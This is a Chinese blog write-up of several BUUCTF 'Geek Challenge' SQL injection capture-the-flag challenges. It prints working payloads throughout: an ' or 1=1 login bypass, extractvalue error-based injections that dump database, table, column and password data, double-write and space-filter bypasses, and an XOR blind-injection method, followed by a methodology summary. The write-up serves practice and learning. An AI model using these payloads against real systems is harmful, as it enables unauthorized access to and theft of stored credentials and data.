我的blog,欢迎来玩
buuctf极客大挑战系列 sql注入
题目如图:
先尝试 万能密码
' or 1=1 #
结果一步得出答案…
题目同上,没变化
尝试万能密码,找不到有效信息
尝试报错注入,寻找其他库/表:
1'and extractvalue(1,concat('~',database()))#
顺利得到库名 geek
尝试爆表名:
1'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema="geek")))#
显示 结果超过一行(Subquery returns more than 1 row),添加 group_connat() 函数解决。
所以,输入
1'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema="geek")))#
得到表名 geekuser,l0ve1ysq1
尝试查列名,目测是第二个
1'and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1")))#
得到列名 id,username,password
尝试获取信息
1'and extractvalue(1,concat('~',(select concat_ws('~',id,username,password) from l0ve1ysq1 where id=1)))#
又查了几个id 全是废话,直接爆破吧
爆破得出 id=16处有flag没显示全
前半段
1'and extractvalue(1,concat('~',(select concat_ws('~',id,username,password) from l0ve1ysq1 where id=16)))#
后半段
1'and extractvalue(1,concat('~',(select substr(password,15,30) from l0ve1ysq1 where id=16)))#
得 flag{fd752c8f-8f92-4b6f-93fa-0f99791741f0}
老方法 万能密码走一遍,果然不行~
选择做FUZZ模糊测试
不难发现 len 726长度都被过滤成空’’ 所以显示没有输入,
而len 751都没有被过滤,
这种过滤比较简单,所以直接考虑 双写绕过。
通过报错注入
1'oorr extractvalue(1,concat(0x7e,database()))#
得到库名 geek
继续爆表名
**1'oorr extractvalue(1,concat(0x7e,(seselectlect group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema="geek")))#**
得到表名 b4bsql,geekuser
继续爆列名
1'oorr extractvalue(1,concat(0x7e,(seselectlect group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql")))#
得到列名 id,username,password
查询数据
1'oorr extractvalue(1,concat(0x7e,(seselectlect concat_ws(0x7e,id,username,passwoorrd)frfromom b4bsql whwhereere id=1)))#
同上,又是一堆废话,直接爆破,得到id=8时有flag
剩下步骤同上一题
后半部分
1'oorr extractvalue(1,concat(0x7e,(seselectlect subsubstrstr(passwoorrd,15,30)frfromom b4bsql whwhereere id=8)))#
得flag{50ba0844-d76f-4a9a-892f-bc7694528c7e}
万能密码走一下,失败
直接做FUZZ模糊测试
如图,len 736都被屏蔽了
len 751没被屏蔽,另外空格在实际输入中也被屏蔽了,所以空格用括号代替。
尝试报错注入**1’or(extractvalue(1,concat(0x7e,database())))#
顺利得到库名 geek
图同上,略
尝试爆表名
1'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where((table_schema)like("geek"))))))#
得到表名 H4rDsq1
尝试爆列名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like("H4rDsq1"))))))#
得 id,username,password
查找信息
1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where((id)like(1))))))#
得flag前半段
查后半段
1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)where((id)like(1))))))#
flag{7725665e-c9b1-4558-b610-12bcccca00ce}
根据界面提示 本题可能为sql盲注
所以先做FUZZ测试
可以发现,大部分语句被屏蔽,选择盲注。而点击1时,发现
而输入7时
输入更大的超范围数同理,发现注入点
用FUZZ测试,个别未被屏蔽,但报错信息被屏蔽
最后我选择用异或^注入进行盲注:
1^(sql注入判断语句)
如果显示(NO!),说明id=1,进一步说明sql判断语句为 假
如果显示(ERROR!!!),说明id=0,进一步说明sql判断语句为 真
写一个py跑
同理将 datebase()替换为
(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))
再跑
再换为
(select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y')
再跑
再换
(select(group_concat(passVord))from(F1naI1y))
再跑
得出flag
写了一下午,当然,总结出一些sql相关的东西
1.页面上有显示位时,用联合注入 union;页面上没有显示位,但是有SQL语句执行错误信息输出时用报错注入
2.联合查询 先判断整型还是字符型,order by查列数,获取库名,获取表名,获取字段名,获取数据
3.报错注入不用查列数,直接通过extractvalue函数报错查信息
4.当有绕过时,进行模糊测试,考虑是否为 双写绕过或空格绕过
5.若都不是,找可注入点进行盲注,一般这种题都会有可注入点让我们下手。盲注写py暴力破解即可。
END